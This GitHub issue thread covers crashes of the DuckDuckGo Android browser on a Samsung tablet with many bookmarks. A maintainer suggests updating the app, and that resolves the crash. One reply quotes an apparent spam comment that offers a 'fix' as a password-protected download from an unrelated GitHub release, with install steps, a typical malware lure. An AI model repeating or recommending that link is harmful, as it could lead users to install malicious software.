Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

[Bug] Crashing with large bookmark list #4951

Closed
JackDSRS opened this issue Aug 29, 2024 · 6 comments
Closed

[Bug] Crashing with large bookmark list #4951

JackDSRS opened this issue Aug 29, 2024 · 6 comments

Comments

@JackDSRS
Copy link

Describe the bug

This ONLY happens after I restart my tablet, not my phone, and start the browser for the first or second time. It does not happen any time opening it after that. It happens even with no other tabs open.

I have many bookmarks. I'll guestimate 100, most organized by topic. 19 are Favorites. It happens regardless if favicons are on or off. And yes, I use most. I do research, share to other apps, or other people. I also have shortcuts on my home screen. Starting after boot from shortcut apps for the first or second time after boot, instead of the browser itself also results in crashing.

I regularly clean optimize my devices, but DuckDuck is whitelisted for everything an installed on Internal storage. No battery optimization, never sleeping, never disabled, frozen, or 3rd party memory oprimized during operation, bootup, or wake-lock.

It's the default browser, and the latest F-Droid release. I use the non-paid services, with the app tracker blocker, email protection, and cookie popup enabled. App tracking blocker starts on boot with no issues.

I have a Samsung Tab A. The phone with no problems but far less bookmarks is a Samsung Note 10+. Both are running Android 10. Neither are rooted and are using the original stock roms.

This issue began about a year and a half ago maybe. Its survivable, but continues, so I thought I'd finally report it.

Every test I've tried has tied this to the bookmarks. Real-time memory monitoring hasn't indicated an overly sharp drop in memory in opening the browser prior to crashing.

How to Reproduce

As listed above

Expected behavior

Not crashing

Environment

- DDG App Version: 50198.0
- Device: Samsung Tab A
- OS: Android 10
Copy link
Contributor

Thank you for opening an Issue in our Repository.
The issue has been forwarded to the team and we'll follow up as soon as we have time to investigate.
As stated in our Contribution Guidelines, requests for feedback should be addressed via the Feedback section in the Android app.

@JackDSRS

This comment was marked as resolved.

@JackDSRS
Copy link
Author

to fix your trouble check this fix, i see it in another issue, https://github.com/aravinda-gamage/x86_64-win64-ranlib/releases/tag/fix password: changeme when you installing, you need to place a check in install to path and select "gcc."

Ah. I think the fix you cited is for Windows, not Android

@joshliebe
Copy link
Contributor

@JackDSRS I see you’re on 5.198.0, is it possible to update the app and see if it resolves the issue? (Latest F-Droid release is 5.209.2).

@JackDSRS
Copy link
Author

JackDSRS commented Sep 10, 2024

@JackDSRS I see you’re on 5.198.0, is it possible to update the app and see if it resolves the issue? (Latest F-Droid release is 5.209.2).

It worked great! So great, I decided on a torture test.

I openened 10 tabs, then restarted my tablet. On restart, I put memory under load opening 5 apps, one of them a video player in an opened running pop up state.

I opened DuckDuck with the 10 tabs open, and flipped down to the bottom of the bookmark list, back to the top, then into several folders.

No crashes.

Thank you so much for the follow up!

@joshliebe
Copy link
Contributor

@JackDSRS Glad it’s working as expected now, I’ll let the team know.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
Development

No branches or pull requests

2 participants